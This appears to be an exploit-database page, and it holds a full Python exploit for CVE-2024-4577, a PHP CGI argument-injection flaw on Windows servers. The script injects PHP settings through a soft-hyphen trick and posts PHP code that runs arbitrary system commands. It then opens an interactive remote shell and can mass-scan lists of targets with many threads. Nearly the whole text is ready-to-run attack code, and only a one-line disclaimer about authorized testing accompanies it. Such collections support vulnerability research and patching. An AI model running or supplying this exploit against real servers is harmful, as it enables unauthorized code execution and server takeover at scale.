3cfac1e6a4
15 changes to exploits/shellcodes/ghdb AirKeyboard iOS App 1.0.5 - Remote Input Injection Parrot and DJI variants Drone OSes - Kernel Panic Exploit Skyvern 0.1.85 - Remote Code Execution (RCE) via SSTI Anchor CMS 0.12.7 - Stored Cross Site Scripting (XSS) Litespeed Cache WordPress Plugin 6.3.0.1 - Privilege Escalation PHP CGI Module 8.3.4 - Remote Code Execution (RCE) Microsoft Excel Use After Free - Local Code Execution PCMan FTP Server 2.0.7 - Buffer Overflow PCMan FTP Server 2.0.7 - Remote Buffer Overflow WebDAV Windows 10 - Remote Code Execution (RCE) Windows 11 SMB Client - Privilege Escalation & Remote Code Execution (RCE)
296 lines
No EOL
11 KiB
Python
Executable file
296 lines
No EOL
11 KiB
Python
Executable file
#!/usr/bin/env python3
|
|
|
|
# Exploit Title: PHP CGI Module 8.3.4 - Remote Code Execution (RCE)
|
|
# Date: 2025-06-13
|
|
# Exploit Author: @ibrahimsql
|
|
# Exploit Author's github: https://github.com/yigitsql ( old account banned )
|
|
# Vendor Homepage: https://www.php.net/
|
|
# Software Link: https://www.php.net/downloads
|
|
# Version: PHP < 8.3.4, PHP < 8.2.17, PHP < 8.1.27
|
|
# Tested on: Kali Linux 2024.1
|
|
# CVE: CVE-2024-4577
|
|
# Description:
|
|
# A critical vulnerability in PHP's CGI implementation allows remote attackers to execute
|
|
# arbitrary code through command injection. The vulnerability exists due to improper handling
|
|
# of command-line arguments in PHP CGI, which can be exploited to bypass security restrictions
|
|
# and execute arbitrary commands with the privileges of the web server. This vulnerability
|
|
# affects all PHP versions before 8.3.4, 8.2.17, and 8.1.27.
|
|
#
|
|
# Impact:
|
|
# - Remote Code Execution (RCE)
|
|
# - Information Disclosure
|
|
# - Server Compromise
|
|
#
|
|
# References:
|
|
# - https://nvd.nist.gov/vuln/detail/cve-2024-4577
|
|
# - https://www.akamai.com/blog/security-research/2024-php-exploit-cve-one-day-after-disclosure
|
|
# - https://www.tarlogic.com/blog/cve-2024-4577-critical-vulnerability-php/
|
|
# - https://learn.microsoft.com/en-us/answers/questions/1725847/php-8-3-vulnerability-cve-2024-4577
|
|
# - https://www.stormshield.com/news/security-alert-php-cve-2024-4577-stormshields-product-response/
|
|
#
|
|
# Requirements: urllib3>=1.26.0, rich, requests>=2.25.0, alive_progress, concurrent.futures
|
|
|
|
import re
|
|
import sys
|
|
import base64
|
|
import requests
|
|
import argparse
|
|
from rich.console import Console
|
|
from urllib3 import disable_warnings
|
|
from urllib3.exceptions import InsecureRequestWarning
|
|
from alive_progress import alive_bar
|
|
from concurrent.futures import ThreadPoolExecutor, as_completed
|
|
|
|
disable_warnings(InsecureRequestWarning)
|
|
|
|
console = Console()
|
|
|
|
class PHPCGIExploit:
|
|
"""CVE-2024-4577 PHP CGI Argument Injection RCE Exploit"""
|
|
|
|
def __init__(self):
|
|
self.headers = {
|
|
"Content-Type": "application/x-www-form-urlencoded",
|
|
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"
|
|
}
|
|
|
|
# Optimized settings for PHP CGI argument injection
|
|
self.php_settings = [
|
|
"-d cgi.force_redirect=0",
|
|
"-d cgi.redirect_status_env=0",
|
|
"-d fastcgi.impersonate=1",
|
|
"-d open_basedir=",
|
|
"-d disable_functions=",
|
|
"-d auto_prepend_file=php://input",
|
|
"-d allow_url_include=1",
|
|
"-d allow_url_fopen=1"
|
|
]
|
|
|
|
# Soft hyphen character for Windows systems
|
|
self.soft_hyphen = "%AD" # 0xAD character
|
|
|
|
# Different PHP CGI paths to try
|
|
self.cgi_paths = [
|
|
"/php-cgi/php-cgi.exe",
|
|
"/php/php-cgi.exe",
|
|
"/cgi-bin/php-cgi.exe",
|
|
"/php-cgi.exe",
|
|
"/php.exe",
|
|
"/php/php.exe"
|
|
]
|
|
|
|
def ascii_art(self):
|
|
print("")
|
|
console.print("[bold red] ____ _ _ ____ ____ ____ ___[/bold red]")
|
|
console.print("[bold red] | _ \| | | | _ \ / ___|/ ___|_ _|[/bold red]")
|
|
console.print("[bold red] | |_) | |_| | |_) | | | | | _ | |[/bold red]")
|
|
console.print("[bold red] | __/| _ | __/ | |___| |_| || |[/bold red]")
|
|
console.print("[bold red] |_| |_| |_|_| \____|\____|___|[/bold red]")
|
|
console.print("[bold yellow] CVE-2024-4577 Exploit[/bold yellow]")
|
|
console.print("[dim white] PHP CGI Argument Injection[/dim white]")
|
|
console.print("[dim cyan] Developer: @ibrahimsql[/dim cyan]")
|
|
print("")
|
|
|
|
def build_payload_url(self, cgi_path):
|
|
# Argument injection with soft hyphen
|
|
settings_str = " ".join(self.php_settings).replace("-", self.soft_hyphen)
|
|
settings_str = settings_str.replace("=", "%3D").replace(" ", "+")
|
|
return f"{cgi_path}?{settings_str}"
|
|
|
|
def execute_command(self, target, command="whoami", cgi_path=None):
|
|
"""Execute command on target using PHP CGI argument injection"""
|
|
try:
|
|
# Create PHP code
|
|
php_code = f"""<?php
|
|
error_reporting(0);
|
|
echo '[START]';
|
|
system('{command}');
|
|
echo '[END]';
|
|
die();
|
|
?>"""
|
|
|
|
# If no CGI path specified, try all paths
|
|
if cgi_path:
|
|
paths_to_try = [cgi_path]
|
|
else:
|
|
paths_to_try = self.cgi_paths
|
|
|
|
for path in paths_to_try:
|
|
try:
|
|
payload_url = self.build_payload_url(path)
|
|
full_url = f"{target.rstrip('/')}{payload_url}"
|
|
|
|
response = requests.post(
|
|
full_url,
|
|
headers=self.headers,
|
|
data=php_code,
|
|
timeout=10,
|
|
verify=False,
|
|
allow_redirects=False
|
|
)
|
|
|
|
# Check output
|
|
if response.status_code == 200:
|
|
output_match = re.search(r'\[START\](.*?)\[END\]', response.text, re.DOTALL)
|
|
if output_match:
|
|
return output_match.group(1).strip(), path
|
|
|
|
except requests.exceptions.RequestException:
|
|
continue
|
|
|
|
return None, None
|
|
|
|
except Exception as e:
|
|
console.print(f"[red][-][/red] Error: {str(e)}")
|
|
return None, None
|
|
|
|
def check_vulnerability(self, target):
|
|
"""Check if target is vulnerable"""
|
|
console.print(f"[blue][*][/blue] Testing target: {target}")
|
|
|
|
# Test with a simple command
|
|
result, cgi_path = self.execute_command(target, "echo CVE-2024-4577-TEST")
|
|
|
|
if result and "CVE-2024-4577-TEST" in result:
|
|
console.print(f"[green][+][/green] Target is vulnerable! CGI Path: {cgi_path}")
|
|
|
|
# Get system information
|
|
sys_info, _ = self.execute_command(target, "systeminfo", cgi_path)
|
|
if sys_info:
|
|
console.print("[green][+][/green] System Information:")
|
|
console.print(f"[dim]{sys_info[:500]}...[/dim]") # First 500 characters
|
|
|
|
return True, cgi_path
|
|
else:
|
|
console.print(f"[red][-][/red] Target is not vulnerable")
|
|
return False, None
|
|
|
|
def interactive_shell(self, target, cgi_path):
|
|
"""Interactive shell session - Simple version"""
|
|
console.print("[green][+][/green] Interactive shell opened")
|
|
console.print("[yellow][!][/yellow] Type 'exit' to quit, 'clear' to clear screen")
|
|
|
|
while True:
|
|
try:
|
|
# Simple input prompt
|
|
cmd = input("shell> ")
|
|
|
|
if cmd.lower() == "exit":
|
|
break
|
|
elif cmd.lower() == "clear":
|
|
print("\033[2J\033[H", end="")
|
|
continue
|
|
elif cmd.strip() == "":
|
|
continue
|
|
|
|
# Execute command
|
|
result, _ = self.execute_command(target, cmd, cgi_path)
|
|
|
|
if result:
|
|
print(result)
|
|
else:
|
|
console.print("[red][-][/red] Command execution failed")
|
|
|
|
except KeyboardInterrupt:
|
|
console.print("\n[yellow][!][/yellow] Use 'exit' to quit")
|
|
except Exception as e:
|
|
console.print(f"[red][-][/red] Error: {str(e)}")
|
|
|
|
def exploit_target(self, target, output_file=None):
|
|
"""Exploit single target"""
|
|
is_vulnerable, cgi_path = self.check_vulnerability(target)
|
|
|
|
if is_vulnerable:
|
|
# Save results
|
|
if output_file:
|
|
with open(output_file, "a") as f:
|
|
f.write(f"[+] Vulnerable: {target} | CGI Path: {cgi_path}\n")
|
|
|
|
# Start interactive shell
|
|
console.print("[blue][*][/blue] Starting interactive shell...")
|
|
self.interactive_shell(target, cgi_path)
|
|
else:
|
|
if output_file:
|
|
with open(output_file, "a") as f:
|
|
f.write(f"[-] Not vulnerable: {target}\n")
|
|
|
|
def scan_multiple_targets(self, targets_file, threads=5, output_file=None):
|
|
"""Scan multiple targets"""
|
|
try:
|
|
with open(targets_file, "r") as f:
|
|
targets = [line.strip() for line in f if line.strip()]
|
|
|
|
if not targets:
|
|
console.print("[red][-][/red] No targets found in file")
|
|
return
|
|
|
|
console.print(f"[blue][*][/blue] Scanning {len(targets)} targets with {threads} threads")
|
|
|
|
vulnerable_targets = []
|
|
|
|
def scan_target(target):
|
|
try:
|
|
is_vulnerable, cgi_path = self.check_vulnerability(target)
|
|
if is_vulnerable:
|
|
vulnerable_targets.append((target, cgi_path))
|
|
if output_file:
|
|
with open(output_file, "a") as f:
|
|
f.write(f"[+] Vulnerable: {target} | CGI Path: {cgi_path}\n")
|
|
except Exception as e:
|
|
console.print(f"[red][-][/red] Error scanning {target}: {str(e)}")
|
|
|
|
with alive_bar(len(targets), title="Scanning", bar="smooth") as bar:
|
|
with ThreadPoolExecutor(max_workers=threads) as executor:
|
|
futures = [executor.submit(scan_target, target) for target in targets]
|
|
for future in as_completed(futures):
|
|
future.result()
|
|
bar()
|
|
|
|
# Summary
|
|
print("")
|
|
console.print(f"[green][+][/green] Found {len(vulnerable_targets)} vulnerable targets")
|
|
|
|
if vulnerable_targets:
|
|
console.print("\n[bold]Vulnerable Targets:[/bold]")
|
|
for target, cgi_path in vulnerable_targets:
|
|
console.print(f" [green]•[/green] {target} (CGI: {cgi_path})")
|
|
|
|
except FileNotFoundError:
|
|
console.print(f"[red][-][/red] File not found: {targets_file}")
|
|
except Exception as e:
|
|
console.print(f"[red][-][/red] Error: {str(e)}")
|
|
|
|
def main():
|
|
"""Main function"""
|
|
exploit = PHPCGIExploit()
|
|
exploit.ascii_art()
|
|
|
|
parser = argparse.ArgumentParser(
|
|
description="CVE-2024-4577 - PHP CGI Argument Injection RCE Exploit",
|
|
formatter_class=argparse.RawDescriptionHelpFormatter,
|
|
epilog="""
|
|
Examples:
|
|
python3 exploit.py -u http://target.com
|
|
python3 exploit.py -f targets.txt -t 10 -o results.txt
|
|
|
|
Note: This tool is for educational and authorized testing purposes only.
|
|
"""
|
|
)
|
|
|
|
parser.add_argument("-u", "--url", help="Single target URL")
|
|
parser.add_argument("-f", "--file", help="File containing target URLs")
|
|
parser.add_argument("-o", "--output", help="Output file for results")
|
|
parser.add_argument("-t", "--threads", type=int, default=5, help="Number of threads (default: 5)")
|
|
|
|
args = parser.parse_args()
|
|
|
|
if args.url:
|
|
exploit.exploit_target(args.url, args.output)
|
|
elif args.file:
|
|
exploit.scan_multiple_targets(args.file, args.threads, args.output)
|
|
else:
|
|
parser.print_help()
|
|
sys.exit(1)
|
|
|
|
if __name__ == "__main__":
|
|
main() |